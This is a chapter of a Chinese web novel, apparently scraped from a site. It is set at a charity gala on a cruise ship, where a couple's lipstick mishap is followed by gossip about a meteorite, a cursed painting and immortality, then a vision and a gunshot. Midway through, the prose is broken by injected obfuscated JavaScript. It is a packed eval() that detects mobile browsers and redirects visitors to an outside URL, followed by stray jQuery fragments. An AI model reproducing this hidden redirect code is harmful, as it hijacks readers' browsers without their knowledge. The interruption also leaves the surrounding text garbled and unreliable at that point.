八点四十分。
阿弗洛狄托号的汽笛发出一声悠长鸣响,缓缓驶离码头,船身破开深蓝海浪,向开阔的近海行驶。沿岸灯火渐行渐远,模糊成海面上的一片光斑,最终四周只剩无垠深海和漫天星辰。
主厅内灯火辉煌,晚宴主持西装革履,走上前方的水晶站台,简单致辞开场白,为来宾介绍了本次晚宴的举办初衷。
今晚所有贵客来宾的捐赠,都将全额汇入范伦西亚古典艺术公益基金会,分文不动用于扶持海内外的年轻艺术家。
开场致辞结束,主持人着重介绍了一遍餐后私家艺术展的参观流程,随后宣布晚宴正式开始。
古典乐曲在大厅回荡,宾客们纷纷结伴走向餐食区,借着晚宴契机互相交流洽谈。
康拉德带着辛玫走到了一处视野开阔的观景露台座位,这里远离主客场的嘈杂人声,能一眼望到海港之城的流金夜色。
他拉开椅子等辛玫坐下,然后转身去餐台取来盘子,往餐盘里夹取她喜欢的食物,温声道:“先吃东西,有什么事,等晚宴结束再说。”
委屈谁也不能委屈肚子。
辛玫没跟食物置气,叉起一块松脆蟹饼塞进嘴里。
“我什么时候才能去见他们?”
“等一会儿。”
“等一会儿是什么时候?”
“等上了三楼展厅再说。”
她的嘴角沾了几粒蟹粉碎屑,自己没有察觉,康拉德抽了张湿纸巾,轻轻往她唇角拭去。
他的指尖触碰到她的脸,辛玫无意识抿嘴,蹭到了湿纸巾,口红经不起湿纸巾的擦拭,康拉德的这一拭,意外抹花了辛玫的口红,朦胧湿润的嫣红晕开在他手指,如雪地里绽开的红梅,他看得微微愣住,动作也顿住了,眸光停留在那抹殷红里。
这一下,倒好像是他故意抹开她的胭脂唇红。
“你干嘛用这种眼神看我?”
辛玫看不到自己晕开的唇色,但从康拉德愣住的神情里,顿时猜到了八九不离十。
“你是不是把我妆弄花了?”
她赶紧翻转刀叉,以刀叉的反光当镜子照,果不其然看到了唇边抹开的模糊嫣红,她柳眉倒竖,气呼呼瞪了一眼康拉德。
“你把我整个妆都毁掉了!”
“我不是故意的。”
康拉德收回手,无意识地攥了攥湿纸巾,被她这么一瞪,语气带上几分笨拙耿直的辩解。
“吃东西沾到口红不好,擦了也干净。”
说着他又抽了一张新湿巾,伸手想帮她擦干净。
“我不要,”辛玫往后躲,才不想让他靠近,伸手去找纸巾,“我自己来。”
“你看不到,等下擦的乱糟糟,又要生气。”
康拉德不听她的抗拒,伸手轻轻捏着她的下巴,微微抬起来,用纸巾一点点拭去她的口红。
两人距离拉得可近,辛玫被他捏着下巴,清晰看到他低垂着的鸦色长睫。
康拉德的五官长相很漂亮,中西混血的特征在他脸上形成完美融合,他的漂亮是能称得上秀气的那种漂亮。
但是男孩子长成这样,在西方环境里成长,真的不会受欺负吗?
辛玫冷不丁地想到了这个问题。
西方青少年和东方青少年的成长环境很不一样,西方青少年群体里最受欢迎的永远是法穆那样金发碧眼的阳光开朗大男孩,他以前在学校的受欢迎程度比夏穆都高,夏穆因为脾气格外差的缘故,总是显得不如法穆好接近。
而康拉德嘛,他这样性格冷淡,不喜欢人群,长相又特别漂亮的人,在男孩堆里其实很不好混。
近距离面对面的两人浑然不觉有宾客上前。
一位端着香槟的富商本想过来跟康拉德搭话,刚走近两步,就撞见了看起来如此暧昧的一幕。
男人捏着女人下巴,女人微微仰着头,唇上一片朦胧嫣红,像是刚被吻到情动。
富商顿住脚步,意识到自己来的不是时候,脸上露出尴尬又了然的神色,识趣到连忙转身就走。
辛玫已经先一步看到他了,意识到对方误会,热意窜上脸颊,她的脸红透了,又羞又窘地推了推康拉德。
“有人来了,你快过去!”
说完不等康拉德回应,就自己抢了纸巾,捂着狼藉的唇扭过头去。
而这一幕,全程都被另一侧角落里的秦晏,夏穆,法穆,哥仨共同目睹,脸色都绿成薄荷。
“太过分了。”
“有伤风化。”
“擦个口红有必要吗?”
哥仨又不能直接上前抢人,异常憋屈地围坐一处,与他们邻桌的是几位学者打扮的宾客,正低声闲谈着什么,话语断断续续传来。
“范伦西亚今晚展出的是什么收藏?居然把恒温厅开放了。”
“听说有忒修斯陨石,还有那幅油画。”
“《致宁芙》?就是那幅从兰格家族府邸里搜出来的孤品?我以为早就失传了!”
“怎么会失传。八十年前,兰格家族覆灭,所有遗产都被范伦西亚继承,那幅画自然也落到了康拉德手里。”
“那到底是一幅什么样的油画?我听说画家是兰格家族的直系血脉,画完这幅画之后就自杀了,这是真是假?画中人的身份究竟是谁?”
“我听说是兰格家主的情人。”
“不是潜伏的间谍吗?”
“哪有那么玄妙,她根本就不是世俗存在的任何人吧,只是画家仿中世纪古典画派创作的花神芙洛拉。”
“兰格家的那幅画跟他们收藏的那块忒修斯陨石有什么关系?我怎么听说,范伦西亚家族研究那块陨石,就是为了……长生?”
最后两个字被念的很轻,众人发出低低的惊叹声。
“长生?”有人低笑出声,带着几分不屑,“老伙计,这都什么年代了,你们还相信这个?科学界什么时候承认过长生这种东西存在?”
“这你就不懂了。”
说话的那位老者压低声音,语气里带着敬畏。
“兰格家隐藏的忒修斯陨石碎片在四百年前坠落欧洲,是迄今为止发现的最大一块,成分极其特殊,地球上根本没有类似的物质。范伦西亚家族从拿到这块陨石的那天起,就投入了巨额资金进行研究。圈内一直有传闻,他们已经在陨石里发现了某种能延长人类寿命的特殊物质,甚至……能实现意识的转移。”
“意识转移?”
“没错。”老者点头,“不然你以为,兰格家族为什么会突然消失?有人说,他们是发现了陨石的秘密,想要独吞,却被陨石力量反噬,也有人说,兰格家族的人,已经通过陨石实现了意识转移,换了身份活在这个世界上了。”
……</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539505|203903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
秦晏在旁听得直皱眉头,他走出科学了?他转向夏穆和法穆,语气里带着犹疑:
“他们在聊什么?忒修斯陨石?我从来没听说过这个东西。”
夏穆斟酌了几秒才开口:“这是权贵阶级里流传的秘闻,我小时候听祖父随口提过一句,一直只当是瞎编的传闻。”
“不算瞎编吧,还是有一些根据的。”
法穆补充道,“范伦西亚在全球建了好多个位置隐蔽的天文实验室,这么多年一直在做保密级别的陨石研究。”
“那《致宁芙》呢?”秦晏追着问,“这幅画跟陨石到底是什么关系?”
法穆道:“传闻里说,油画里使用的颜料是从陨石里提取出来的,长时间盯着画看,会精神恍惚,五感状态失常。听说靠近忒修斯陨石也会产生同样的反应,外界传的神神秘秘,其实根本没几个人亲眼见过油画和陨石。”
他们聊了没几句,主厅的音乐突然停了。
宴会主持人再次登上站台,声音透过话筒传遍整个宴会厅。
“各位来宾,接下来我们进入自由参观阶段。游轮二层的恒温艺术展厅已经开放,本次展出的所有展品,都是范伦西亚家族的私人珍藏。提醒各位,展厅内禁止拍摄,禁止触碰展品,请各位遵守展厅规定。”
话音落下,音乐又重新放起来。
宾客们陆续起身,三三两两往三层展厅走去。
三层展厅安十分安静,顶光从上方落下来,所有展品都摆放在全封闭的玻璃展柜里,静静等待宾客游览。
上百件展品里,位于中央的两件核心藏品最引人注目。
摆在最前面的是一幅油画:《致宁芙》
这幅画的作者佚名,世人只知它来自兰格家族的旧宅邸,随着兰格一族绝嗣,被封存了近八十年。
画面构图严谨,用了经典的三角构图与黄金分割比例,画里的女人穿一身酒红色睡袍,坐在藤椅上休憩,脖颈线条修长柔和,身周绕着大簇盛放的玫瑰。一侧天光从画布左上角斜斜落下来,给整幅画蒙上了一层温柔的浅金色光晕。
整张画的视觉重心全落在女人的眼睛上。她没有西方人深邃的眼窝,眼型柔和别致,眼尾微微上扬,眸子里像盛着一汪温水,温柔又深情,带着一种独属于东方的朦胧雾感。
辛玫站在画前看了很久,没有任何异样的感觉,直到移步到另一侧的展柜,目光落在那块深蓝色的陨石怀表上的时候,一股无形的磁场无声无息包围了她。
眼前现实的景象开始一点点褪色,扭曲,她耳边清晰地响起单调的,循环不停的钟表滴答声。
状若虚幻的世界猛地在她眼前展开。
入目全是被战火烧灼的残破庄园,断壁残垣,废墟焦黑,画中那个穿红衣的女人就那样孤零零地站在荒芜废墟里,斑驳破碎的裙摆边缘残留着烈火灼烧的痕迹。
无人的虚空里飘来呼唤,一遍一遍地呼唤着她的名字。
宁宁。
女人听见声音,茫然地转过身来。
辛玫对上那双子夜般寂寥的双眸,灵魂好像被女子吸引住一样,无意识地迈起步子,想要朝她靠近,正当她即将靠近的时候,耳边突然“砰”的一声响起枪响。
展厅里传来尖叫,人群四下慌乱,辛玫还没来得及看清更多,便被人往颈后又是重重一敲,直直晕了过去。